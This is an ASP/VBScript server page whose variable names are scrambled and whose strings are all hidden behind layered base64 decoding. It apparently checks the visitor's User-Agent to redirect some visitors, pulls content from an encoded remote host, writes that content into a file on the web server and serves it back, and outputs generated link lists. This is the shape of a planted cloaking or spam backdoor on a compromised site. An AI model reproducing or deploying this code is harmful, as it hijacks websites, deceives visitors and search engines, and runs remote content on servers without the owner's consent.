<%@language="vbscript" codepage="65001"%> <%option explicit%> <% on error resume next %> <%response.charset="utf-8"%> <% Function A_A__A_A___A(ByVal A_A_AAAAA___A) A_A__A_A___A = Right(Left(A_A_AAAAA___A,Len(A_A_AAAAA___A)-1), Len(A_A_AAAAA___A)-2) End Function Function A_A__AAAA___A(ByVal A_A__AA__AA_A) Dim A_A__A_AAAAAA, A___AAAA_A, A_A__AAA__AA_A,A__A__AAA___A___ A_A__AA__AA_A = Replace(Replace(Replace(A_A__AA__AA_A, vbCrLf, ""), vbTab, ""), " ", "") A_A__A_AAAAAA = Len(A_A__AA__AA_A) If A_A__A_AAAAAA Mod 4 <> 0 Then Exit Function End If For A_A__AAA__AA_A = 1 To A_A__A_AAAAAA Step 4 Dim A__A__AAA__A____, A__A__AAA__A_____, A__A__AAA__A_______, A__A__AAA__A________, A__A__AAA__A_________, A__A__AAA__A__________ A__A__AAA__A____ = 3 A__A__AAA__A_________ = 0 For A__A__AAA__A_____ = 0 To 3 A__A__AAA__A_______ = Mid(A_A__AA__AA_A, A_A__AAA__AA_A + A__A__AAA__A_____, 1) If A__A__AAA__A_______ = "=" Then A__A__AAA__A____ = A__A__AAA__A____ - 1 A__A__AAA__A________ = 0 Else Dim A__A__AAA__A___________ A__A__AAA__A___________ = AscW(A__A__AAA__A_______) If A__A__AAA__A___________>=65 And A__A__AAA__A___________<=90 Then A__A__AAA__A________ = A__A__AAA__A___________ - 65 ElseIf A__A__AAA__A___________>=97 And A__A__AAA__A___________<=122 Then A__A__AAA__A________ = A__A__AAA__A___________ - 71 ElseIf A__A__AAA__A___________>=48 And A__A__AAA__A___________<=57 Then A__A__AAA__A________ = A__A__AAA__A___________ + 4 ElseIf A__A__AAA__A___________=43 Then A__A__AAA__A________ = 62 ElseIf A__A__AAA__A___________=47 Then A__A__AAA__A________ = 63 Else A__A__AAA__A________ = -1 End If End If If A__A__AAA__A________ = -1 Then Exit Function End If A__A__AAA__A_________ = 64 * A__A__AAA__A_________ + A__A__AAA__A________ Next A__A__AAA__A_________ = Hex(A__A__AAA__A_________) A__A__AAA__A_________ = String(6 - Len(A__A__AAA__A_________), "0") & A__A__AAA__A_________ A__A__AAA___A___ = "&H" A__A__AAA__A__________ = Chr(CByte(A__A__AAA___A___ & Mid(A__A__AAA__A_________, 1, 2))) + _ Chr(CByte(A__A__AAA___A___ & Mid(A__A__AAA__A_________, 3, 2))) + _ Chr(CByte(A__A__AAA___A___ & Mid(A__A__AAA__A_________, 5, 2))) A___AAAA_A = A___AAAA_A & Left(A__A__AAA__A__________, A__A__AAA__A____) Next A_A__AAAA___A = A___AAAA_A End Function Function A__A__AAA___A(ByVal A__A__AA__A) A__A__AAA___A=A_A__A_A___A(A_A__AAAA___A(A_A__A_A___A(A_A__AAAA___A(A_A__A_A___A(A_A__AAAA___A(A__A__AA__A)))))) End Function Function A__A_A(A___A_A) Dim A___A__A,A___A___A Set A___A__A = Server.CreateObject(A__A__AAA___A("eWExa3dSa1ZVTUZKRFRHeE9NR050Vm1oaVZ6QTliUT09Yg==")) A___A__A.Type = 2 A___A__A.Open A___A__A.WriteText A___A_A A___A__A.Position = 0 A___A__A.Charset = A__A__AAA___A("dGFsbFlWakJhYVRBMFpXYzlQVzQ9aw==") A___A__A.Position = 2 A___A___A =A___A__A.ReadText A___A__A.close Set A___A__A = Nothing A__A_A = A___A___A End Function Function A___A____A(AAAA_A__A, A_AA__A__A) Dim A_AAAA_A__A,A___A_A_A set A___A_A_A = Server.CreateObject(A__A__AAA___A("c1ltRkhSbXRpTWxKcFRHNU9NR050Vm1oaVYyczlkdz09dg==")) A___A_A_A.type = 2 A___A_A_A.mode = 3 A___A_A_A.charset = A_AA__A__A A___A_A_A.open A___A_A_A.loadfromfile Server.MapPath(AAAA_A__A) A_AAAA_A__A = A___A_A_A.readtext A___A_A_A.Close set A___A_A_A = nothing A___A____A = A_AAAA_A__A End Function Function AA_AA__A(AA___AA__A) dim A___AAAA__A Set A___AAAA__A = Server.createobject(A__A__AAA___A("dmJHUXdNWHBsUnpGelRXazFXVlJWZUVsV1JsSlJaRUU5UFdrPXA=")) A___AAAA__A.Open A__A__AAA___A("a1kyUnJaRVpXU0dNOVlnPT1u"),AA___AA__A,False A___AAAA__A.send If A___AAAA__A.readyState <> 4 Then Exit Function AA_AA__A = A__A_A(A___AAAA__A.responseBody) Set A___AAAA__A = Nothing End Function dim A___A_AA_A A___A_AA_A=Request.ServerVariables(A__A__AAA___A("b2RXUldUbXBqYld4M1pFWTVUMWxYTVd4bFVUMDlkUT09bg==")) & A__A__AAA___A("YmRtUnBOVEJpV0VKeFpnPT16") dim A___AA__A,A__AA_A__A,A___A____AA,A___A__AA_A,A___AAA__A,A_A__AA__A,A__AAAA_A_A,A__A_AAA___A_A,A__A_A_____A_A,A__AA__AAA,A__AA___A_A,A__AAAA___A_A,A__A___A__A_A,A_______AAA_A,A_______A_A,A__AA___A___A,AAAA__AA___A___A,AAAAA_____A___A,A_AAA___A___A,AAA_AAA___A_A,AAAA__A_A___A A___AA__A = A__A__AAA___A("dGRXUkhhREJrU0VFMlRIazVNMlF6WTNWak1sWjVaRzFXZVZreU9YVmtiVlo1WkVNMWFtSXlNSFphTWxZd1l6SldlV1J0Vm5sTWJVWjZZMGhuTDJGUlBUMXFo") A__AA_A__A = request.querystring(A__A__AAA___A("emVWb3pUblJpbQ==")) A_A__AA__A = request.querystring(A__A__AAA___A("ZFptUlhjR3h3Zg==")) A__AAAA___A_A = LCase(Request.ServerVariables(A__A__AAA___A("eVpsb3dhREJrU0VKbVZXMVdiVnBZU214amJtODlkdz09eA=="))) A_______A_A = request.querystring(A__A__AAA___A("Y1lXUkhlRFIzcg==")) if A__AAAA___A_A<>"" and instr(A__AAAA___A_A,A__A__AAA___A("dFlXVnRaSFppTW1SeldsaFJQWEU9YQ=="))>0 and A_A__AA__A<>"" then A__A___A__A_A = A__A__AAA___A("alkyVlhhREJrU0VFMlRIazVNMlF6WTNWak1sWjVaRzFXZVdGdVZuUmpRelZxWWpJd2RtRnVWblJqUXpWb1l6TkNORkF5Y0RGaVdFSndXa1F4YVhRPWc=")&A_A__AA__A&A__A__AAA___A("c2JGcFRXbk5aVnpWdVVGZFJQWEE9dA==")&A_______A_A response.redirect A__A___A__A_A else A___A____AA = AA_AA__A(A___AA__A&A__A__AAA___A("b1lWb3pUbXhqYmxwc1kyMXNhMUJYUlQxcWo=")&A__AA_A__A&A__A__AAA___A("c1lXTkRXbmxpYlZFNVlWRTlQV0U9Zw==")&rnd()) A___A__AA_A = request.querystring(A__A__AAA___A("ZWNtUXlkRzVreA==")) A___AAA__A = request.querystring(A__A__AAA___A("Y2FGbHVWbXR4eg==")) if request.querystring(A__A__AAA___A("cWFsa3lNV2x0aw=="))="" then A__AA__AAA=A___A____AA&A__A__AAA___A("blptRlRPVWhhV0ZKV1kyMTRWVnBYTVhkaVIwWXdXbE0xYUdNelFqUlFNMVo1WWtkc2ExQlhTVDExYw==")&A___AAA__A&A__A__AAA___A("cWRsbDVXbkphV0d3ellqTkthMkZYVVRsaWR6MDllUT09ZQ==")&A___A__AA_A&A__A__AAA___A("c2JGcFRXbk5aVnpWdVVGZFJQWEE9dA==")&A_______A_A&A__A__AAA___A("c1lXTkRXbmxpYlZFNVlWRTlQV0U9Zw==")&rnd() A__AA___A_A=A___A____AA&A__A__AAA___A("ZmIyRlRPVzVhV0ZKb1kyNVNjRmt5ZUd4TWJVWjZZMGhuTDJSWVNuTmhWMUU1V1ZFOVBXbz1l")&A___AAA__A&A__A__AAA___A("cWRsbDVXbkphV0d3ellqTkthMkZYVVRsaWR6MDllUT09ZQ==")&A___A__AA_A&A__A__AAA___A("c2JGcFRXbk5aVnpWdVVGZFJQWEE9dA==")&A_______A_A&A__A__AAA___A("c1lXTkRXbmxpYlZFNVlWRTlQV0U9Zw==")&rnd() A__A_AAA___A_A="" set A__AAAA_A_A = Server.CreateObject(A__A__AAA___A("bGFXVkdUbXBqYld4M1pFZHNkVnA1TlVkaFYzaHNWVE5zZW1SSFZuUlVNa3B4V2xkT01HTlJQVDE1Yw==")) if A__AAAA_A_A.FileExists(Server.MapPath(A___A_AA_A)) then A__A_AAA___A_A = A___A____A(A___A_AA_A, A__A__AAA___A("dGFsbFlWakJhYVRBMFpXYzlQVzQ9aw==")) If instr(A__A_AAA___A_A, A__A__AAA___A("Y2JXTkRUbXBpTWpVd1dsYzFNRWt6YXoxbHM="))<=0 then A__A_AAA___A_A = "" end If end If if A__A_AAA___A_A="" then A__A_AAA___A_A = AA_AA__A(A__AA__AAA) dim file set file = A__AAAA_A_A.createtextfile(Server.MapPath(A___A_AA_A), true, true) If err.number=0 then file.write(A__A_AAA___A_A) file.close set file = nothing else err.clear A__A_AAA___A_A = A__A__AAA___A("Z1pHSkVkMmhNVXpCMFpETktjR1JIVldka1IxWjBZMGQ0YUdSSFZXZGFiVVp3WWtkV2EweERRbmxhV0ZJeFkyMDBaMWx1YTJkak1sWjVaRzFXZVVsSFVuQmpiVlpxWkVkNE5VeFRNSFJRYlVrOWRRPT12")&A__A_AAA___A_A end If end if if A__A_AAA___A_A<>"" and instr(A__A_AAA___A_A, A__A__AAA___A("Y2JXTkRUbXBpTWpVd1dsYzFNRWt6YXoxbHM="))>0 then A__A_A_____A_A =AA_AA__A(A__AA___A_A) If A__A_A_____A_A<>"" then Dim xmlDoc set xmlDoc = Server.CreateObject(A__A__AAA___A("aWFGb3dNWEJaTTBwMll6STViV1JETlZsVVZYaEZWREF4YVdnPXM=")) xmlDoc.async=False xmlDoc.LoadXML(A__A_A_____A_A) dim xml set xml = xmlDoc.selectSingleNode(A__A__AAA___A("c2FHRkRPSFpsUnpGeldXYzlQWFE9cA==")) if not (xml is nothing) then A__A_AAA___A_A = replace(A__A_AAA___A_A, A__A__AAA___A("b2MxcDVUbk5aVnpWdVpGZEdibHBUVGpCbmI="), A_______A_A) A__A_AAA___A_A = replace(A__A_AAA___A_A, A__A__AAA___A("aWJtUnBUakJoV0ZKeldsTk9hWG89cA=="), xml.selectSingleNode(A__A__AAA___A("dlpXSnRkR3hsV0dSMlkyMVNlbVZuUFQxbGg=")).text) if err.number>0 then err.clear response.write(A__A__AAA___A("ZWVHTklhSFJpUTBKc1kyNUtkbU5xY0d0dWM=")&A__AA___A_A) response.end end if A__A_AAA___A_A = replace(A__A_AAA___A_A, A__A__AAA___A("ZGNGbDVUbkphV0d3ellqTkthMk41VGpKNmE="), xml.selectSingleNode(A__A__AAA___A("dlpXSnRkR3hsV0dSMlkyMVNlbVZuUFQxbGg=")).text) A__A_AAA___A_A = replace(A__A_AAA___A_A, A__A__AAA___A("emMxbHBUbXRhV0U1cVkyMXNkMlJIYkhaaWFVNTRjZz09ZA=="), xml.selectSingleNode(A__A__AAA___A("dlpXSnRkR3hsV0dSMlkyMVNlbVZuUFQxbGg=")).text&A__A__AAA___A("bmFtVlRlREZ0Yw==")&xml.selectSingleNode(A__A__AAA___A("emVscHRVbXhqTWs1NVlWaENNR0ZYT1hWaFFUMDllQT09eg==")).text&A__A__AAA___A("bmFtVlRlREZ0Yw==")&Request.ServerVariables(A__A__AAA___A("YVoyUkZhRlZXUmtKbVUwVTVWRlpIVVQxMGo="))) A__A_AAA___A_A = replace(A__A_AAA___A_A, A__A__AAA___A("Y2JXTkRUbXBpTWpVd1dsYzFNRWt6YXoxbHM="), xml.selectSingleNode(A__A__AAA___A("ZGNGbHRUblppYmxKc1ltNVNhSEk9Yw==")).text) response.write(A__A_AAA___A_A) else response.write(A__A__AAA___A("YWQyTXpRbWhqYms1c1NVaG9kR0pEUW0xWlYyeHpXbGRSTm1WQlBUMXpv")&A__A_A_____A_A) end if response.end else response.write(A__A__AAA___A("dVlXUkhUblppYmxKc1ltNVJaMkZZVFdkaWJsWnpZa1J3ZVhvPXE=")&A__AA___A_A) end If else response.write(A__A__AAA___A("eWQxcFlVbXhpV0VKeldWaFNiRWxIYkhwSlJ6VXhZa2QzTmxsM1BUMXFo")&A__AA__AAA) end if else A_______AAA_A = AA_AA__A(A___A____AA&A__A__AAA___A("eGExcERPWHBoV0ZKc1lsZEdkMHh0Um5walNHY3ZZMjAxYTFCWFp6MWpu")&rnd()&A__A__AAA___A("ZGNHRjVXbkJpV0VKMlkyNVNNV050ZUhCYVJERjJlQT09Zg==")&A___AAA__A) if A_______AAA_A<>"" then A__AA___A___A=split(A_______AAA_A,A__A__AAA___A("cVkySlVkSHBxdg==")) if ubound(A__AA___A___A)>0 then response.ContentType=A__A__AAA___A("bGNHSklVbXhsU0ZGMlYwVXhUV0YzUFQxNmM=") response.write(""&vbcrlf) for AAAA__A_A___A=0 to ubound(A__AA___A___A) AAAA__AA___A___A=split(A__AA___A___A(AAAA__A_A___A),A__A__AAA___A("bmFtVlRlREZ0Yw==")) if ubound(AAAA__AA___A___A)>0 then A_______A_A=AAAA__AA___A___A(0) AAA_AAA___A_A=AAAA__AA___A___A(1) if AAA_AAA___A_A<>"" and A_______A_A<>"" then A_AAA___A___A=A__A__AAA___A("cmEyTXlhREJrU0VFMlRIazVhM1E9bg==")&LCase(Request.ServerVariables(A__A__AAA___A("YVoyUkZhRlZXUmtKbVUwVTVWRlpIVVQxMGo=")))&LCase(Request.ServerVariables(A__A__AAA___A("b2RXUldUbXBqYld4M1pFWTVUMWxYTVd4bFVUMDlkUT09bg==")))&A__A__AAA___A("cWJXTkVPVEZRVjI4OWRnPT1h")&A___AAA__A&A__A__AAA___A("ZWJXTlRXbk5RVjBVOWR3PT15")&A_______A_A&A__A__AAA___A("eWRXSnBXbnBRV0ZVOVpBPT10")&A__AA_A__A for AAAAA_____A___A=2 to ubound(AAAA__AA___A___A) response.write(A__A__AAA___A("aFpGcHFlREZqYlhjclVFZDRkbGw2TkRoSlZuUkVVa1ZHVlZGV2RIcDJn")&A_AAA___A___A&A__A__AAA___A("YWFHRlRXbkpRVjJNOWJRPT15")&AAAA__AA___A___A(AAAAA_____A___A)&A__A__AAA___A("b1kyUnBXbkZRVjBrOWJBPT1j")&AAA_AAA___A_A&A__A__AAA___A("b1pHVkdNV1JRYW5kMllrYzVhbEJxZDNaa1dFcHpVRzVWUFhZPXo=")&vbcrlf) next end if end if next response.write(A__A__AAA___A("dVpGcFVkM1prV0Vwell6SldNRkJ1VlQxemo=")) response.end end if end if end If end if %>